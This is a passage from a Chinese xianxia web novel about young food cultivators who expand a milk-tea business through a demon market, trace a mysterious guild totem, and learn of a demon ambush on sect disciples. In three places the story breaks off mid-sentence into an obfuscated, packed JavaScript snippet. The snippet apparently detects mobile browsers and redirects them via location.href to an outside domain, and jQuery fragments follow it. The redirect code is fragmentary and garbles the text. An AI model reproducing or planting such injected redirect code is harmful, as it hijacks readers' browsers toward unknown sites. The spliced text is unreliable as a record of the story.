苏烟枝抿着嘴唇,虽然安慈神经大条信了乌以灵的解释,但她却觉得另有隐情。只是乌以灵明显在回避这个问题,她也不好打破砂锅问到底。 果然,乌以灵眼见逃过一劫了,当即岔开话题,“对了,我们不是还要去妖市吗?什么时候走?” 苏烟枝点点头,“现在就走。” 安慈神神秘秘地掏出白瓷盘飞舟,他拿着光洁的瓷盘在两人面前晃晃,“能看出有什么不一样吗?” 苏烟枝仔细端详片刻,“好像…比较新?” “嘿,猜对了!”安慈笑道,“这几天赚了点灵石,我想着以后常出远门,就重新买了个飞舟。别看它外表普普通通,实际上耐水耐火甚至耐雷击,任是哪般刀剑斧戟也砍不坏……” 眼见这话说得怪异,苏烟枝连忙打断他,“直接说多少灵石。” 安慈脱口而出,“十万灵石。” 乌以灵:“……” 哥们那踏马的是遇到诈骗了。 要是她没记错,一艘正常的飞舟,顶破天不会超过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300485|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三万灵石。 苏烟枝气得脸色涨红,她跳起来扯住安慈的耳朵,大声嚷嚷,“好啊安慈,你飘了是吧?才赚了几天就敢乱花?十万!那可是十万!” 安慈揉揉快被扯掉的耳朵,小声嘟囔,“店家说得那样好听…我一激动就……” 苏烟枝白眼几乎要翻过去,她反复给自己顺了半天气,这才咬牙道,“他们骗的就是你这种人傻钱多的…不行,以后还得是我管账,照你这架势,我们早晚得亏得锅碗瓢盆都搭进去!” 安慈脑袋埋得更低,他这会儿才反应过来自己占不了半点理,只能讷讷应下。 直到坐上飞舟时,安慈仍然大气也不敢喘,生怕又触到苏烟枝的逆鳞。 乌以灵叹口气,被迫出面当和事佬,她拍拍苏烟枝的肩膀,“烟枝,看开点,买都买了,就好好享受吧。” 随后又敲敲安慈的脑壳,“你也是,下次记得看清楚点。” 苏烟枝也是顺着乌以灵给的台阶下,“算了,就当吃教训了。” 乌以灵刚想再说什么,忽然侧目瞥见这个崭新瓷盘的边缘似乎有什么东西,在晴朗日光下流淌着异样的光彩。 她凑近仔细端详,发现那是个造型独特的图腾,圆形的图纹由类似流水的线条组成,正中央则簇拥着一只种类难辨的妖兽。 有点眼熟。 乌以灵思索半天,终于记起来从哪里见到过。 她从怀里摸出之前梅雪青给的荷包。 果然,荷包上的花纹和瓷盘上的图腾完全一样。 乌以灵连忙问安慈,“这瓷盘你从何处寻来的?” 安慈只当她是反复鞭尸,正苦着脸回头时,却见乌以灵的神情格外严肃,只能实话实说,“山脚下的小贩手里,是有…什么问题吗?” 苏烟枝一听又要冒火了,张牙舞爪地扑上来,“居然敢在路边摊买这么贵的东西……” “稍等,我这里发现了另一件事。”乌以灵打断两人的争执,将手里的荷包与瓷盘上的图腾指给他们看,“你们可知晓这个图腾是什么?” 苏烟枝满头雾水地摇头,“没有见过。” 安慈摸摸下巴,他到底年长几岁,见闻也比其余两人多些,“虽然我也不大认识,但看着倒像某种商行的图腾。” 乌以灵与苏烟枝异口同声,“商行?” 安慈点点头,“这是比较古早的说法了,早些年仙界魔界人界彼此通商,也因此诞生了大量的商行,像是魔界有魔商,人界有人商,仙界也有仙商,再往下还可以根据所处的位置和具体种族划分为无数种大小商行。” “每个商行都有自己的图腾做为区分。不过这也是好些年前的事了,上次仙魔之战后,仙魔两界约定以东方之海为界限,互不侵犯。在那之后,通商往来的商行们日益凋零,直到现在几乎销声匿迹了。” “我记得这个荷包是梅长老给的…”苏烟枝若有所思地拿起那个荷包,“难道梅长老和某个商行间有联系?” 安慈耸耸肩,“这就不得而知了,毕竟早年间,资历长些的前辈们或多或少都加入过某个商行。” 说话间,飞舟驶入一片水域。 烟雨蒙蒙的水沼漫无边际,形态各异的岛屿点缀其间,天地间寂静得只剩下空茫水色,一时间竟好似陷入奇幻的梦境里。 安慈操纵着飞舟缓缓降落。 “我们到了,此处名为汀花雨细——有着规模最大的妖市。” 26. 薄荷奶绿(一) 飞舟降落在地面的瞬间,眼前的景色奇迹般发生变化。 原本弥散的雨雾褪去,取而代之的是干燥晴朗的日光,而自天空往下看时的寂静也不知所踪,四处可见来往的妖群与人流,车水马龙熙熙攘攘,热闹极了。 “这就是汀花雨细?”苏烟枝眼睛亮晶晶的,里面满是新奇的光彩,“从前我听相熟的妖怪说,他们最喜欢汀花雨细的妖市。据说这里有着奇妙的屏障,弥漫的雨雾让魔物难以察觉此处,但又为特意前来妖市的妖与人谋得天然的方便。” 道路两侧五颜六色的摊位摆成了一条长长的河流,从三人所站的地方往前看,几乎看不到尽头。 安慈适时地抛出了一个至关重要的问题,“话说,我们该怎么游说这些妖怪呢?” 乌以灵拿出晏山青的骨笛,“这不是还有盟主的号令?” 和上次的情况差不多,妖怪们对于盟主的气息极为熟悉,在见到骨笛的那刻,周围的摊贩不约而同地停下了手头的动作,齐刷刷投来敬仰的目光。 “拜见盟主。” 一只高大健壮的虎妖走上前来,恭恭敬敬地抱拳行礼。 乌以灵笑问,“怎么称呼?” 虎妖声音低沉沙哑,带着些常年劳作的疲惫,“叫我虎娘就行了,我是汀花雨细的妖管,盟主有何事吩咐,请尽管与我说?” 安慈察觉到这个陌生的词,“妖管?” 虎娘咧开嘴笑笑,“在规模大些的妖市里都设有妖管,我们的职责就是帮盟主料理妖市内的大小事务,免得出现岔子。” 她看看风尘仆仆的三人,热情地招呼道,“此地人多眼杂,我们借一步说话吧。” 虎娘带着三人来到池沼边上的屋子里,临门远眺,能看见杨柳依依,水天一色。 “我们此次前来,是想和妖族做桩交易。”乌以灵开门见山地说道,“据我所知,妖族为生活所迫,被迫流落四海,逐风雨水草而居。今天我们愿意以盟主的身份,为妖族提供一个稳定的栖身之所。” 虎娘眼睛豁然一亮,但随后慢慢变得黯淡,她眉头紧锁,双手不安地搓着满是油污的裙边,“盟主您说笑了,您已经为我们做过很多事……我们哪里敢再奢望什么?” 乌以灵摆摆手,她语气诚恳,“既然说了是交易,那定然是互惠互利的,我们为妖族提供庇护,相应的,我们也需要妖族为我们创造应有的价值。所以你不用觉得是我拯救了你,我们是站在平等的立场上交谈。” 虎娘目光里流露出些许迷茫,“什么样的交易?” 乌以灵朝苏烟枝递了个眼色,苏烟枝立刻从包里拿出早早拟好的文书。 虎娘接过文书,惊讶地发现每行字下面,居然还一一对应了通俗易懂的妖文。 她仔细读完了上面的东西,“您的意思是说,您希望我们妖族开办这个奶茶店,把您的店铺推广到五湖四海,而我们也可以从中拿到流水。” 乌以灵点点头,“是这个道理。如今的我们的店铺刚刚起色,正是亟待扩张版图的好时候,所以希望借助妖族的援手。” 虎娘看看三人年轻稚嫩的脸,又看看手里圆滑老道的文书,她又问,“那这个奶茶,到底是什么东西呢?我们粗手粗脚的,要是弄不好怎么办?岂不是辜负了您的心意?” 苏烟枝听后立刻解开肩上的包裹,笑眯眯地对虎娘解释,“这个问题我来为您解答。” 在虎娘新奇的目光里,苏烟枝熟练地拿出早早准备好的茶叶和器皿,她深吸一口气,按照这几天试炼了无数次,又做毁了无数次的经验,屏息凝神地开始了手里的动作。 其实最开始苏烟枝问过乌以灵,为什么不是经验最老道的乌以灵自己上手为妖怪们演示。 乌以灵和她说,因为让经验相对不那么丰富的苏烟枝演练,他们才会切实体会到这不是一件困难的事,只要有耐心,肯花时间,大家都可以做到。 那时苏烟枝望着店铺里原本一窍不通,但此刻照着乌以灵给出的配方,动作陆续熟练起来的师兄师姐们,若有所思地点点头。 而眼下,虎娘看着苏烟枝陌生而轻巧灵活地操作,目光中原本的疑虑逐渐褪去,她接过苏烟枝递来的那杯奇怪地东西,凑近轻轻嗅了嗅。 淡淡的果香,是很奇妙的味道,虎娘想。 颜色也很漂亮,淡红色的挂壁像是蜿蜒的水墨,族中那些小孩子应该会喜欢。 虎娘仰头一饮而尽,片刻之后,她放下杯子。 她浅茶色的眼睛里灵力流转,原本枯槁疲惫的脸逐渐变得红润饱满,虎娘握了握拳头,她能感受到充沛的灵力在体内游走,几乎像是淙淙的溪水,一路奔腾着淌过这具荒芜的身体,而在灵力流经的地方,盎然生机破土而出。 虎娘擦擦嘴巴,再次看向乌以灵时,眼中对待后辈的慈爱少了许多,取而代之的是看向同辈的认真严肃。 她说,“聊了这么久,还没问你们的名字呢?该怎么称呼?” 乌以灵与同伴们对视一眼,心知有戏。 再听完三人自报家门后,虎娘若有所思地点点头,“原来是玉音宗的修士,看来你们和盟主是至交好友,否则他也不会这般放心地将骨笛交予你们。” “您愿意把这样好的差事给我们妖族,我们实在感激不尽。”虎娘笑道,“您的文书写得也很明白,我们该在哪里开办店铺,该这么招收伙计,又该怎么教导伙计……只是小乌,在人族的认知里,妖族是混沌蒙昧的种族,虽然我们妖市开办得热火朝天,但大部分时候,人们不喜与我们打交道……若是因此耽搁了你们的生意,我心里也过意不去…” 乌以灵看着眼前淳朴憨厚的妖管,她忽而握着虎娘紧紧攥在一起的手,语气恳切,“既如此,那这也正好是打破偏见的机会,不是吗?我想,您的心里装着妖族的,您也希望妖族不再四海流浪,不再风餐露宿。我也不过是一介普通食修,我们都需要些许往外走的勇气,如今机会近在眼前,为什么不试试呢?” 虎娘静静看着乌以灵鲜活而漂亮的眼睛,她忽然想到了很多年前的自己。 那时她刚刚被任命为妖管,仗着满身力气天不怕地不怕,想着总有一天能带着姊妹兄弟们不再颠沛流离。但事实总是给予她痛击,他们贫穷潦倒,被人族驱逐,被生活裹挟。数年来,少年时那点赤子之心也被雨打风吹去,而带领妖族不再饥饿流离的愿景,也在奔波年岁里落入窠臼。 但看着满身蓬勃朝气的乌以灵,她鬼使神差地点点头。 “好,那就试试。” - “真没想到,居然会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314136|180905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么顺利。” 坐在虎娘的摊位上大口吃面时,安慈仍然忍不住感慨,“我们真的获得妖族的支持了,太不可思议了,和做梦一样。” “嚯,这辣椒可真地道。”苏烟枝往碗里加了几勺致死量的辣椒,辣得嘴巴通红,“看来我们和妖族的诉求确实是一拍即合。话说小乌,你不会是上次来妖市的时候就计划好了吧?” 乌以灵正要点头,忽然听见耳畔传来有些熟悉惊呼。 “诶,是盟主的朋友!” 三人循声望去,看见旁边摊位上坐着几只面熟的妖怪。 正是上回在妖市上遇到的狗妖,猪妖和鹅妖。 乌以灵笑着问候道,“好巧,你们也来逛妖市?还是来摆摊的?” 鹅妖抢先开口,“当然是来摆摊的,咱哥三计划着趁夏天还没过,再来汀花雨细这个大市赚上几笔。等入了秋,咱又该往南找地过冬了。” 刚巧虎娘端着面碗走过来,她拍拍鹅妖的脑壳,“老远就听见你那大嗓门了,说了多少遍了,要文静些,别把客人都吓跑了。” 猪妖不放过任何一个脚踩兄弟的机会,立马跟腔,“就是就是,这家伙一开嗓,半个集市都能听见。” 虎娘又揉揉他的脑袋,似对他们的打打闹闹见怪不怪,转而正色道,“有个好消息,你们今年不用再往南边去了。” “真的假的?” 闻言,狗妖立刻跳起来,他黑白分明的眼睛直勾勾望着虎娘,迫切想得到答案。 “这还能有假?”虎娘微微侧身,露出身后摊位上的乌以灵三人,“可要好好感谢小乌他们哦,我们马上就可以开设店铺,等赚到钱,我们就不用再流浪了。” 听了这话,猪妖和鹅妖也不掐架了,眼巴巴等待着虎娘的下文。 待听完虎娘的解释,狗妖垂首沉默了很久,终于,他起身走到乌以灵眼前,再抬头时眼里泛着泪光,“这就是您说的,我们很快还能再见面吗?” 乌以灵摸摸他毛茸茸的脑袋,“是的。” 鹅妖和猪妖推推挤挤地跑上前来,但他俩你看看我我看看你半天,却是一句话也说不出老。 “好啦好啦。”乌以灵不太擅长应付这种煽情的场合,只能说,“这是好事,别哭了,如果真的想感谢我,只要把店开好,那就够了。” 三只妖怪彼此间交换了一个眼神,郑重道,“我们会的。” 乌以灵不由得勾起一抹笑,她见苏烟枝和安慈也吃得差不多了,准备和几只妖怪招呼声就告辞了。 但就在她站起身时,梅雪青给的荷包恰巧从袖中滚落。 猪妖捡起荷包,交还给乌以灵时,顺嘴说了句,“这荷包上的图腾,我前几日还见过一个同样的,这有啥寓意吗?” 乌以灵动作微顿,追问道,“在哪里?” 猪妖费劲想了半天,才略显迟疑地回答,“那人好像也是个修士,不过道行应该挺高的,我听见别人喊他……李长老?” 这下不仅是乌以灵,安慈和苏烟枝也腾地站起身。 李长老?李观水? 为什么他也和这个所谓的商行图腾有联系? 几人的目光不约而同落在了那个奇异的图腾上,而冥冥之中似乎有什么在牵引着他们,推使着他们往下挖掘。 27. 薄荷奶绿(二) 匆匆告别了几只妖怪,乌以灵几人坐上了回宗门的飞舟。 安慈拿着那个荷包,眉头紧锁,“我们只知道李长老回宗后就宣布闭关了,但他到底因为什么闭关,又在外遇到了什么,至今仍然无人知晓。” 苏烟枝又问乌以灵,“小乌,那日梅长老托你转交给李长老的荷包上,难道也有这种图腾吗?” 乌以灵摇摇头,“没有。” 苏烟枝嘟囔着,“这可真奇怪。” 乌以灵收起荷包,她轻叹口气,“事情究竟如何,这个图腾又有什么寓意,我们只能等回去慢慢问清楚了。” 虽然不太甘心,但眼下似乎也没有更好的办法了。 随着飞舟缓缓飞向高空,汀花雨细的热闹繁华也被隔绝在雨雾之外,再抬眼时,眼前仍然是初来乍到时的空灵寂静。 在这片水色烟雨里不知道飞行了多久,苏烟枝有些纳闷地向外探头,“怎么还没有走出汀花雨细?我们别是迷路了。” 操纵飞舟的安慈满口笃定,“怎么可能,这路我早就走得滚瓜烂熟了,不可能迷路的,放心吧烟枝。” 苏烟枝将信将疑地坐回原处,她将斗笠往脸上一盖,懒洋洋地躺在瓷盘中央,“既然如此,那我睡会儿,等到宗门了再叫我。” 安慈有些好笑地戳戳她的斗笠,“你这吃了睡睡了吃的,还记得自己是美少女人设吗?” 苏烟枝用力拍开他的手,恶狠狠道,“美少女的事你少管。” 说完就背过身去,再懒得搭理安慈。 果然,等苏烟枝再次睁开眼睛时,他们已经在玉音宗的山门前平稳落地。 她对安慈大多数情况下的靠谱深表满意,正要回头夸他两句,却见安慈与乌以灵俱是神情凝重,似是在思考什么事情。 苏烟枝连忙发问,“怎么了?” 安慈脸上的笑有些僵,“没什么,就是我和小乌觉得有些奇怪,明明走的是相同的路,为何去时我们仅仅半刻钟就能驶入汀花雨细,但从汀花雨细走出来,却花了整整两个时辰。” “这有什么?”苏烟枝倒觉得问题不大,“可能只是你记错路了,左右我们已经回来了,就别想太多啦。” 乌以灵同样点点头,“我也觉得,既然已经安全回到玉音宗,就别再多想了。” 安慈困惑地挠挠头,他踟蹰许久,最后终于说服自己接受了迷路的说辞。 三人在宗门前兵分两路,苏烟枝和安慈打算去店铺里看看,乌以灵则直奔千机阁而去。 她还是很在意这个意义不明的图腾。 - 在千机阁顶楼,乌以灵遇到了许久未见的晏山青。 “晏师兄。” 乌以灵忙着查找资料,此时只是略微抬头,礼貌客套地问了好,连晏山青的脸都没看清。正准备抬脚离开时,却被一只冰凉的手用力攥住手腕。 “晏……” 乌以灵刚想说什么,忽然被另一只手死死捂住嘴巴,她徒然地睁大双眼,却发不出丝毫声音。乌以灵试图掰开那双控制她的双手,只是电光石火间,眼前景象天旋地转,缠绕在手间的大力猛然将她抵在身后的书柜上。 直到这时,乌以灵才注意到晏山青的异样。 目光相触的刹那,乌以灵注意到晏山青赤红色的眼睛。 她下意识皱眉,心想这是又犯病了? 可是眼下她手里什么都没有,该怎么控制晏山青? 无声而长久的较量在两人之间蔓延开来,乌以灵一边观察着晏山青的状态,一边思索着脱身的途径。 眼前的晏山青和上次一样,他像是在无尽幻梦里挣扎的困兽,丧失理智地撕扯着手中的一切,但又唯独对手无缚鸡之力的乌以灵格外手下留情。 乌以灵不由得暗暗思索起一个问题,晏山青究竟是本来就在千机阁,还是和之前那样,因为知晓她可以缓解自己的状况,所以专门寻着她来了千机阁。 偶然间,晏山青压在书柜上的手似乎碰到了什么。 那是一道小小的凹槽。 乌以灵猛然想起安慈曾经说过,千机阁为防生人入侵,布有机关无数。 “别……”乌以灵心里警铃大作,但是阻止的话语尚未出口,又被晏山青抵在她唇边的手压了回去。 霎时间,身后倚靠的书柜陡然一空,在全然没有防备的情况下,乌以灵毫无征兆地向后倒去,连带着身前的晏山青,也一并跌入黑暗里。 - 不知道过了多久,乌以灵按着发涨的脑袋坐起身。 身上好沉,她想。 回头一看,却见晏山青趴在她肩头,几乎大半个身子都压在她身上,他双手紧紧环抱着乌以灵,脑袋抵在她颈窝处,似是全身心信赖着眼前的少女。 乌以灵试图推开他的脑袋,“师兄,起来点,太重了。” 然后那双手缠得更紧了。 乌以灵:“……” 算了,和脑子有病的说不清楚。 乌以灵放弃从晏山青身上找解决办法,转而打量起他们所处的这块地方。 率先映入眼帘的是皎皎有如月光的洁白,一棵巨树静静地立在黑暗里,不受日月风雪却依然亭亭如盖,花繁如星,让人只看着便心生温暖。 而他们坐在树下的石台之上,抬眼即可见满树繁花灿若云霞。 乌以灵抬手,接住一片飘零的花瓣。 眼前忽然出现一幕画面,那是在宗门大比上制作奶茶的自己。 在乌以灵愣神的功夫里,花瓣又消散在指尖,只留下金色的光晕。 “师妹……” 灼热的呼吸落在耳畔,但低哑的声音却是冰凉有如毒蛇,蛇类身上冰凉滑腻的触感清晰真实,缓慢地缠绕着她。 乌以灵循声偏头,果然看见晏山青眼底一片清明。 “既然恢复神智了,师兄怎么还不松手?” 她不明白晏山青是怎么突然清醒归来的,但这倒是件好事,起码说明她不用独自在这个奇怪的地方摸索,还要拖着个丧失理智的人。 晏山青终于松开手,乌以灵当即退开好几步。 “师妹这反应倒是有趣。”晏山青坐在原处,望向她的目光含着沉沉笑意,“莫不是在我失去神智时,对师妹做了什么?” 乌以灵扯扯嘴角,“师兄说笑了。” 晏山青似乎不想再为难她了,他转而看向眼前的花树,“师妹在里面看到了什么?” “里面?”乌以灵楞住片刻,随后想起方才的花瓣,“看到了宗门大比时的场景。” 花瓣落在晏山青指尖,眼前又出现了有关于晏山青的画面。 不知是何年何月,黑山白水间,少年负剑而立,温润眉眼间笼着潇潇烟雨,只见剑光流转,林间竹叶簌簌落下。 而稚子模样的颜鹤子走上前来,将那颗粉色的菡萏蕊交到他手中。 “这是……当年你参加宗门大比时的情景?” 晏山青微微颔首,难得主动地解释起来,“此树名为浮生树,修为至高无上者,往往会栽下浮生树记载生平诸事,每片花瓣里,都承载着树主与特定之人相关的记忆,亦或说是最为深刻的记忆。” 联想到画面里他们两人相同的场景,乌以灵很快反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“招摇撞骗”四个字被他咬得格外重,乌以灵不可避免地想到了安慈遇到的骗子。 “罢了。”乌以灵不再与晏山青继续谈下去,她想自己应该已经知道得差不多了,于是转而问,“师兄有办法从这里出去吗?” “自然。” 随着他话音落下,眼前姣姣如霞光的花树逐渐变得模糊,看着满树落花如雨,乌以灵忽然想到了一个问题,“师兄,你说修为至高无上者会栽种浮生树,那你呢?你也会种下这样一棵树吗?” 晏山青偏过头来,轻而又轻地笑了,“师妹想见见吗?” 直觉告诉乌以灵这不是什么好的预兆,于是她果断摇头,“不想。” “那可真是,太遗憾了。” 耳畔风声絮絮,在重叠的光影与飞逝而过的黑暗里,乌以灵没有听清晏山青最后说的那几个字,但却清楚看见了他面上温和有如春风的笑意。 某个瞬间,乌以灵似乎真的觉得,眼前的晏山青,真的如同传说中那般温润如玉。 - 意识回神时,乌以灵发现自己站在千机阁下的小道上。 “师兄!晏师兄!” 几个神色惊惶的弟子冲到两人面前,他们脸色惨白如纸,语气着急至极。 晏山青神色如常,他垂眸看着身前惊慌失措的弟子,“何事?” 弟子们互看几眼,随后颤声开口,“宗门弟子外出前往位于汀花雨细的妖市,遭遇魔族突袭,如今……生死未卜!” 乌以灵陡然睁大眼睛,几乎是瞬间想到了她在回程时遇到的异象。 28. 薄荷奶绿(三) 晏山青神情凝重些许,示意几个弟子继续说。 “几个不同修系的弟子结伴去妖市,他们去的时候还好好的,但回来时突然迷路了。师兄您也知道,汀花雨细那个地方本就容易迷失方向,所以大家也没当回事,但他们又绕了好几个时辰也没走出来。” “他们意识到不对劲,立刻和宗门联系,但是,但是……就在我们连接传声镜的时候,成群结队的魔族从浓雾里钻出来……他们掳走了那些弟子!” 晏山青听后未多说什么,只是略微颔首,“可还知晓什么?” 弟子们相视摇头,满脸信任与恳求地望着晏山青。 碧蓝色的剑光一闪而过,转眼之间,溯洄剑出现在晏山青手中。 他侧目看向乌以灵,“师妹似乎想说什么?” 乌以灵点点头,三言两语将自己回来时遇到的事讲给他们。 “真是怪了……”有个弟子忍不住出声,“汀花雨细历来被誉为魔族不侵之地,那里的水雾屏障阻隔了所有可能出现的魔物。怎么会接二连三出现这种怪事?莫非这是针对宗门弟子的有意为之?” 晏山青倒没有轻易做出评价,他手中长剑轻挽,转而道,“我亲自去趟汀花雨细。” “好好好,多谢晏师兄!” 几个弟子连连作揖,在强大可靠的承诺之下,心中原本的惊惧显然消散不少。 晏山青回头对乌以灵轻轻一笑,“师妹,回头见。” 乌以灵躬身拱手,“回头见,师兄。” - 怀揣着满腹的疑虑回到店铺里,乌以灵略微诧异地发现店里的帮手似乎格外多。 若是她没有看错,几乎大半个食修学宫的弟子都在这了。 乌以灵问坐在门口算账的苏烟枝,“大家怎么都来了?” 苏烟枝看着忙碌的众人,“没办法,现在李长老闭关了,已经连着好几天没有人讲课,大家找不到事干,索性都来帮忙了。” 安慈搬完最后两筐灵果,他气喘吁吁地坐在门槛上,苏烟枝顺手给他递了杯加过冰块柠檬水。 安慈热得脸色通红,他吨吨两口喝完冰水,长叹道,“真是把人当老牛使啊。” 乌以灵施了个扇风散热的法术,她蹲在门边,掐去晏山青突如其来的发病,断断续续地讲完了方才遇到的事。 苏烟枝停下算账的手,转头抱着杯草莓牛乳坐在小马扎上,她心有余悸地摸摸胸口,“那岂不是,我们也算和魔族擦肩而过?” 联想到回程时莫名多出的两个时辰,劫后余生的庆幸与难以避免的害怕后知后觉地蔓延起来。 乌以灵皱着眉,有一下没一下地顺着脚边脆啵啵的毛发,“可能吧。” 安慈也全然忘记了燥热,这会儿只觉得莫名的寒气顺着脚底往身上爬,他心不在焉地望着天边流云,“希望那些弟子们能平安归来。” 苏烟枝同样祈祷,“有晏师兄出手,想来不会出什么岔子的。” 他们是食修,不在除魔列队之中,所以即使遇到了这种事,也没有办法出手和魔族正面硬碰硬。 目光触及乌以灵手里的荷包,安慈仍有感慨,“没想到这个图腾居然是多年前宗主绘制的,如今沦落到江湖骗子手里,还真是让人唏嘘。” 听到安慈的话,乌以灵心中怪异感更甚,但她却说不明白这种怪异感的来源,只能默默压在心底。 宗主颜鹤子在历劫时为了救难民于水火,创建了商行,而它伴随着仙魔之战的终结与颜鹤子回归仙界走向衰微,最后又落入招摇撞骗者之手。 这本是件很正常的事,但乌以灵却莫名觉得其中另有蹊跷。 唯一能为她解惑的,大概只有颜鹤子当年的两个门徒——李观水和梅雪青。 如今李观水尚在闭关,而与梅雪青的关系又并非密切。 乌以灵抱起地上的脆啵啵,她很快不再去想这件事。 既然已经知晓图腾背后并非含有危险,乌以灵也不打算再深入查下去。 - “话说小乌,我来和你商量个事。”苏烟枝拉着小马扎靠近乌以灵,她翻动着手中的账本,认真道,“这些日子里,我们都是从妖市进购灵果。老实说,这不是一笔小的开支,而且灵果的种类和数量也实在受限,而且灵果从种植到采摘再到售卖,这些过程又零零碎碎花了好些钱。我在想,有没有什么更省钱的办法?” 乌以灵仔细思考了她提出的问题,半晌后点点头,“确实,灵果的种植和采摘本身也耗费不少人力,而且在最终品质上也难以保证,比如高阶灵果的培育就需要投入大量的心血,良莠不齐是常有的事。” “那如果,灵果的种植与采摘,最开始就掌握在我们手里呢?” 安慈与苏烟枝同时望向乌以灵,长久的寂静后,安慈率先开口,“所以,小乌你这是打算跨行种灵果?” 乌以灵看出了两人眼中的困惑,她耐心解释道,“灵果本来也是奶茶配方的核心部分,这怎么算跨行?不过是延长了奶茶的制作链条罢了。” “你可以将奶茶的生产理解为一个环环相扣的链条,我们如今的链条很简单,只有采购原料和制作售卖,但如果我们逐步延长这个链条,或许会得到很多意想不到的收获。比如我方才提出的,主动揽过种植灵果的活计,我们自己寻找土地雇人培育灵果,又派选自己人运输灵果,在奶茶供给之外的灵果还可以额外售卖。这样一来,我们就掌握了奶茶制作的全过程,最大程度减少了庞杂支出。” 苏烟枝一点就透,她煞有介事地掰着手指,“也就是说,我们可以自产自销?听起来倒是不错,不过这可不是件小事,我们该从哪里开始呢?” 安慈也理清楚了乌以灵的思路,眼睛骤然一亮,“换个角度想,我们可以去到那些穷困潦倒的山坳村落,雇佣那些地方的百姓为我们栽种灵果。毕竟灵果不挑剔生长环境,它的品质如何只与栽种是否用心有关。我们可以教授山中百姓栽种灵果的技术,让他们为我们生产奶茶的源头。” “而相应的,山中百姓也会因为种植的报酬生活富足,摆脱贫困饥饿的日子。这样一来,我们又何尝不是在践行食修‘但愿苍生俱饱暖’的宗旨?” 苏烟枝笑着拍拍安慈的肩膀,目光里少有地带上赞赏,“没想到你小子有时候也挺机灵,真不错。” 安慈也难得没有和苏烟枝吵闹,他只是静静望着远处黛色的群山,仿佛陷入了长久地回忆中。 “小乌,你打算把灵果的栽种地选在哪里呢?” “不是选在哪个地方,而是哪些地方。”乌以灵摇摇头,“单单选在某个地方还是太 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“不远处正是太阴山……我记得你好像就是从这来的?是你的家乡吗?” 安慈点点头,“是的。” 乌以灵望向近乡情怯的安慈,“那我们就先去那里看看吧。” “别……”安慈的脸瞬间红透,整个人几乎都要熟了,高大的少年此刻不安地握紧手,少有地流露出踌躇不前的犹豫,“不…不太好吧……” “有什么不太好的?”苏烟枝甚至主动加快了飞舟的速度,“好啦好啦,怎么还和小孩子一样扭扭捏捏的,好不容易赚了钱,有什么不好意思的。” 乌以灵敏锐地察觉到安慈害羞扭捏之下的兴奋,于是开口问,“话说安慈,你还没有讲给自己从前的经历呢?” 安慈轻轻摇摇头,“其实也没什么好讲的,从前我说过,家里常常闹饥荒,为了能吃饱饭就来了食修系。其实家里的情况远比当时说的糟糕,那些年太阴山颗粒无收,水灾后的又遇大旱,岁大饥,百姓易子而食……我得幸从饥荒里活下去,又因为天资不错考入玉音宗,那时我就想着,我要在这里找到家乡不再饥饿的办法。” 没有人想到,脾气暴躁又大手大脚的安慈,身后竟是这样惨痛的过往。 “皇天不负有心人,现在我们找到了。”乌以灵望着难得沉默下来的安慈,透过他静坐山风之间的身影,似乎想到了什么更为辽远的东西。 安慈粗糙的手擦了擦脸上的红晕,他点点头,“是啊,我已经很满足了。” 飞舟穿梭在山林云海间,而视线的尽头是大片水蓝色的雾气。 安慈眼中划过一丝诧异,“那是……汀花雨细?真是怪了,我记得太阴山离汀花雨细很有段距离的,怎么会在这看到汀花雨细的雾气?” 苏烟枝直起身,果然也看见了远方尽头熟悉的云雾。 她注意到安慈脸颊两侧紧绷的肌肉,察觉出他如今的紧张,毕竟这里临近安慈的家乡,想来他是害怕汀花雨细的麻烦殃及太阴山。 “安慈,打起精神。”苏烟枝说,“汀花雨细那有晏师兄他们,我们只要做好我们该做的就行。” 飞舟缓缓降落在太阴山间,安慈的声音也很快消散在山风里。 “好。”